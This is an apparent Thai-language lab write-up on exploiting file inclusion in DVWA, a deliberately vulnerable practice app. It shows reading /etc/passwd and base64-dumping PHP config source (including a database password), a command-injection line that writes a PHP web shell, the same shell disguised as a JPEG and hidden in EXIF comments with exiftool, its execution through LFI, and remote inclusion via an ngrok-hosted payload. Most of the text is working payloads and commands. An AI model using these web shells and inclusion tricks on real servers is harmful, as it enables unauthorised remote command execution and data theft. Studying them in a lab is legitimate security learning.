คือการเข้าถึง file ต่างๆภายในเครื่อง ไม่ว่าจะอ่าน หรือสั่ง run ก็ตาม จาก Lab ของ DVWA เมื่อเข้ามาจะเห็นหน้าตาของตัว Website เป้าหมายแบบนี้
จะเห็นว่าเมื่อเรากดที่ link [file1.php] - [file2.php] - [file3.php] url ข้างบน address bar จะเปลี่ยนไปเรื่อยๆ
ดังนั้นถ้าเราเปลี่ยน param จาก /?page=include.php ให้เป็น file อื่นบน server ตัวหน้าเวปอาจมีโอกาสแสดงรายละเอียด file นั้นๆอ อกมา
งั้นเราจะลองไปเรียกไฟล์ /etc/passwd มาดูกันบ้าง
http://192.168.1.116:8080/vulnerabilities/fi/?page=/etc/passwd
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/falsemysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
จะเห็นว่าเราทำ Local File Inclusion ได้แล้ว
นอกจากนี้เรายังสามารถอ่าน sourcecode php ฝั่ง server side ได้ด้วยการใช้ wrappers
http://192.168.1.116:8080/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=path sourcecode ที่เราต้องการอ่าน
เช่น
browser จะ return sourcecode ที่เราร้องขอกลับมาเป็น Base64 format
PD9waHANCg0KIyBJZiB5b3UgYXJlIGhhdmluZyBwcm9ibGVtcyBjb25uZWN0aW5nIHRvIHRoZSBNeVNRTCBkYXRhYmFzZSBhbmQgYWxsIG9mIHRoZSB2YXJpYWJsZXMgYmVsb3cgYXJlIGNvcnJlY3QNCiMgdHJ5IGNoYW5naW5nIHRoZSAnZGJfc2VydmVyJyB2YXJpYWJsZSBmcm9tIGxvY2FsaG9zdCB0byAxMjcuMC4wLjEuIEZpeGVzIGEgcHJvYmxlbSBkdWUgdG8gc29ja2V0cy4NCiMgICBUaGFua3MgdG8gQGRpZ2luaW5qYSBmb3IgdGhlIGZpeC4NCg0KIyBEYXRhYmFzZSBtYW5hZ2VtZW50IHN5c3RlbSB0byB1c2UNCiREQk1TID0gJ015U1FMJzsNCiMkREJNUyA9ICdQR1NRTCc7IC8vIEN1cnJlbnRseSBkaXNhYmxlZA0KDQojIERhdGFiYXNlIHZhcmlhYmxlcw0KIyAgIFdBUk5JTkc6IFRoZSBkYXRhYmFzZSBzcGVjaWZpZWQgdW5kZXIgZGJfZGF0YWJhc2UgV0lMTCBCRSBFTlRJUkVMWSBERUxFVEVEIGR1cmluZyBzZXR1cC4NCiMgICBQbGVhc2UgdXNlIGEgZGF0YWJhc2UgZGVkaWNhdGVkIHRvIERWV0EuDQokX0RWV0EgPSBhcnJheSgpOw0KJF9EVldBWyAnZGJfc2VydmVyJyBdICAgPSAnMTI3LjAuMC4xJzsNCiRfRFZXQVsgJ2RiX2RhdGFiYXNlJyBdID0gJ2R2d2EnOw0KJF9EVldBWyAnZGJfdXNlcicgXSAgICAgPSAncm9vdCc7DQokX0RWV0FbICdkYl9wYXNzd29yZCcgXSA9ICdwQHNzdzByZCc7DQoNCiMgT25seSB1c2VkIHdpdGggUG9zdGdyZVNRTC9QR1NRTCBkYXRhYmFzZSBzZWxlY3Rpb24uDQokX0RWV0FbICdkYl9wb3J0ICddID0gJzU0MzInOw0KDQojIFJlQ0FQVENIQSBzZXR0aW5ncw0KIyAgIFVzZWQgZm9yIHRoZSAnSW5zZWN1cmUgQ0FQVENIQScgbW9kdWxlDQojICAgWW91J2xsIG5lZWQgdG8gZ2VuZXJhdGUgeW91ciBvd24ga2V5cyBhdDogaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9yZWNhcHRjaGEvYWRtaW4vY3JlYXRlDQokX0RWV0FbICdyZWNhcHRjaGFfcHVibGljX2tleScgXSAgPSAnJzsNCiRfRFZXQVsgJ3JlY2FwdGNoYV9wcml2YXRlX2tleScgXSA9ICcnOw0KDQojIERlZmF1bHQgc2VjdXJpdHkgbGV2ZWwNCiMgICBEZWZhdWx0IHZhbHVlIGZvciB0aGUgc2VjdWlydHkgbGV2ZWwgd2l0aCBlYWNoIHNlc3Npb24uDQojICAgVGhlIGRlZmF1bHQgaXMgJ2ltcG9zc2libGUnLiBZb3UgbWF5IHdpc2ggdG8gc2V0IHRoaXMgdG8gZWl0aGVyICdsb3cnLCAnbWVkaXVtJywgJ2hpZ2gnIG9yIGltcG9zc2libGUnLg0KJF9EVldBWyAnZGVmYXVsdF9zZWN1cml0eV9sZXZlbCcgXSA9ICdpbXBvc3NpYmxlJzsNCg0KIyBEZWZhdWx0IFBIUElEUyBzdGF0dXMNCiMgICBQSFBJRFMgc3RhdHVzIHdpdGggZWFjaCBzZXNzaW9uLg0KIyAgIFRoZSBkZWZhdWx0IGlzICdkaXNhYmxlZCcuIFlvdSBjYW4gc2V0IHRoaXMgdG8gYmUgZWl0aGVyICdlbmFibGVkJyBvciAnZGlzYWJsZWQnLg0KJF9EVldBWyAnZGVmYXVsdF9waHBpZHNfbGV2ZWwnIF0gPSAnZGlzYWJsZWQnOw0KDQojIFZlcmJvc2UgUEhQSURTIG1lc3NhZ2VzDQojICAgRW5hYmxpbmcgdGhpcyB3aWxsIHNob3cgd2h5IHRoZSBXQUYgYmxvY2tlZCB0aGUgcmVxdWVzdCBvbiB0aGUgYmxvY2tlZCByZXF1ZXN0Lg0KIyAgIFRoZSBkZWZhdWx0IGlzICdkaXNhYmxlZCcuIFlvdSBjYW4gc2V0IHRoaXMgdG8gYmUgZWl0aGVyICd0cnVlJyBvciAnZmFsc2UnLg0KJF9EVldBWyAnZGVmYXVsdF9waHBpZHNfdmVyYm9zZScgXSA9ICdmYWxzZSc7DQoNCj8
เราสามารถนำมันไป decode ได้ที่ https://www.base64decode.org/
ก็จะได้ code php ออกมาครับ
<?php# If you are having problems connecting to the MySQL database and all of the variables below are correct# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.# Thanks to @digininja for the fix.# Database management system to use$DBMS = 'MySQL';#$DBMS = 'PGSQL'; // Currently disabled# Database variables# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.# Please use a database dedicated to DVWA.$_DVWA = array();$_DVWA[ 'db_server' ] = '127.0.0.1';$_DVWA[ 'db_database' ] = 'dvwa';$_DVWA[ 'db_user' ] = 'root';$_DVWA[ 'db_password' ] = 'p@ssw0rd';# Only used with PostgreSQL/PGSQL database selection.$_DVWA[ 'db_port '] = '5432';# ReCAPTCHA settings# Used for the 'Insecure CAPTCHA' module# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin/create$_DVWA[ 'recaptcha_public_key' ] = '';$_DVWA[ 'recaptcha_private_key' ] = '';# Default security level# Default value for the secuirty level with each session.# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.$_DVWA[ 'default_security_level' ] = 'impossible';# Default PHPIDS status# PHPIDS status with each session.# The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.$_DVWA[ 'default_phpids_level' ] = 'disabled';# Verbose PHPIDS messages# Enabling this will show why the WAF blocked the request on the blocked request.# The default is 'disabled'. You can set this to be either 'true' or 'false'.$_DVWA[ 'default_phpids_verbose' ] = 'false';?>
ทีนี้ผมยังคงทำ Remote File Inclusion ไม่ได้ เพราะ php.ini ของระบบ ไม่ได้ enable allow_url_include on ไว้ ดูจาก http://192.168.1.116:8080/phpinfo.php ทำให้รู้ว่ามันถูกเก็บไว้ที่ path /etc/php/7.0/apache2/php.ini จะไปแก้ไขยังไง ฮ่วยย!!
จากบทความที่แล้ว Command Injection เราสามารถสร้าง Backdoor ได้ ก็เป็นอีกทางหนึ่งที่จะเข้าไปแก้ไข php.ini ละมั้ง
128.199.247.223 && cd /var/www/html/config && echo '<?php if(isset($_POST["cmd"])){echo "<pre>";$cmd=($_POST["cmd"]);system($cmd);echo "</pre>";} ?><form action=""method="post"><input name="cmd"> <input name="submit"type="submit"value="send"></form>' > cmd.php
เมื่อ run file cmd.php จะได้
แต่รอบนี้ผมจะลองสร้างเป็น file text ที่ใส่ code สำหรับ shell ลงไปแล้วเปลี่ยนนามสกุล file เป็น jpg
<?php if(isset($_POST["cmd"])){echo "<pre>";$cmd=($_POST["cmd"]);system($cmd);echo "</pre>";} ?><form action=""method="post"><input name="cmd"> <input name="submit"type="submit"value="send"></form>
เพื่อทดลอง upload ลงไปผ่าน url http://192.168.1.116:8080/vulnerabilities/upload/ นี้
หลังจาก upload ไปแล้วไฟล์ของเราที่ชื่อว่า backdoor.jpg จะอยู่ /var/www/html/hackable/uploads
เราจะกลับมาใช้ Local File Inclusion ในการเรียกไฟล์รูปภาพของเรามาใช้ในการ Shell ในระบบแทนครับ ด้วยคำสั่ง
http://192.168.1.116:8080/vulnerabilities/fi/?page=../../hackable/uploads/backdoor.jpg&cmd=ls%20-lash
แล้วถ้าหากว่า เค้ามีการตรวจสอบว่าที่อัพโห ลดมาเป็นรูปภาพจริงอ่ะเปล่าล่ะ จากการศึกษาหาข้อมูลเบื้องต้น พบว่า เราสามารถที่จะเขียน backdoor ฝังลงไปใน Exif ในส่วนของ Comment รูปภาพได้อีกด้วย โดยผมจะใช้ command exiftool ในการฝัง comment ลงไปในรูปก่อนทำการ upload ไปยัง server
exiftool -Comment='<?php if(isset($_POST["cmd"])){echo "<pre>";$cmd=($_POST["cmd"]);system($cmd);echo "</pre>";} ?><form action=""method="post"><input name="cmd"> <input name="submit"type="submit"value="send"></form>' bheem.jpeg
เมื่อเราเช็คด้วย command exiftool bheem.jpeg จะพบว่า code ของเราถูกฝังไว้ใน comment แล้ว ถ้าไม่ถูกย่อ หรือ resize อะไรก็ไม่น่ามีปัญหามั้ง
exiftool bheem.jpegExifTool Version Number : 10.46File Name : bheem.jpegDirectory : .File Size : 14 kBFile Modification Date/Time : 2020:08:22 14:55:36+07:00File Access Date/Time : 2020:08:22 14:55:38+07:00File Inode Change Date/Time : 2020:08:22 14:55:37+07:00File Permissions : rw-r--r--File Type : JPEGFile Type Extension : jpgMIME Type : image/jpegJFIF Version : 1.01Resolution Unit : NoneX Resolution : 1Y Resolution : 1Comment : <?php if(isset($_POST["cmd"])){echo "<pre>";$cmd=($_POST["cmd"]);system($cmd);echo "</pre>";} ?><form action=""method="post"><input name="cmd"> <input name="submit"type="submit"value="send"></form>Image Width : 259Image Height : 194Encoding Process : Baseline DCT, Huffman codingBits Per Sample : 8Color Components : 3Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)Image Size : 259x194Megapixels : 0.050
เมื่อเราลองเรียกใช้งานผ่านช่อง LFI เป็น file รูปที่เราเพิ่ง upload ลงไป http://192.168.1.116:8080/vulnerabilities/fi/?page=../../hackable/uploads/bheem.jpeg
จะพบว่า code ใน Comment ถูก exec เรียบร้อยแล้ว
เราสามารถ Shell ผ่าน input box ได้เลยทันทีครับ
กรณีที่เราเปิด enable allow_url_include on ไว้ เราก็ไม่ต้อง upload file ก็ได้ครับ เพราะเราสามารถทำ Remote File Inclusion ได้ผ่าน http เลย
โดยผมจะทำการ
docker pull httpd
ลงมา แล้วสั่ง run
docker run -dit --name my-apache-app -p 8080:80 -v "$PWD":/usr/local/apache2/htdocs/ httpd
หลังจากนั้นผมเอาไฟล์ รูปที่ทำการฝัง backdoor ไว้ใน comment ของ exif ไฟล์ไปวางใน home directory ของ webserver บน localhost ของผม และสั่ง run ngrok http 8080 หลังจากนั้นนำ url ที่ได้ไปฝังบน RFI ก็สามารถ Shell ได้เช่นกันครับ
ในกรณีที่ web server run ด้วย root เราสามารถ เรียกตัว server จากฝั่ง client และทำการฝัง code แนบไปกับ user-agent เพื่อทำการ inject code ไปกับ access log เมื่อเราเรียก ใช้ LFI ตัว access log ก็จะสามารถถูกเรียกขึ้นมาใช้งานได้อีกทางนึง
เนื่องจากผมเพิ่งจะเรียนรู้การทำงาน ผิดถูกประการใด สามารถแนะนำได้นะครับขอบคุณครับ บรัยยยยยยย
Quick Links
Legal Stuff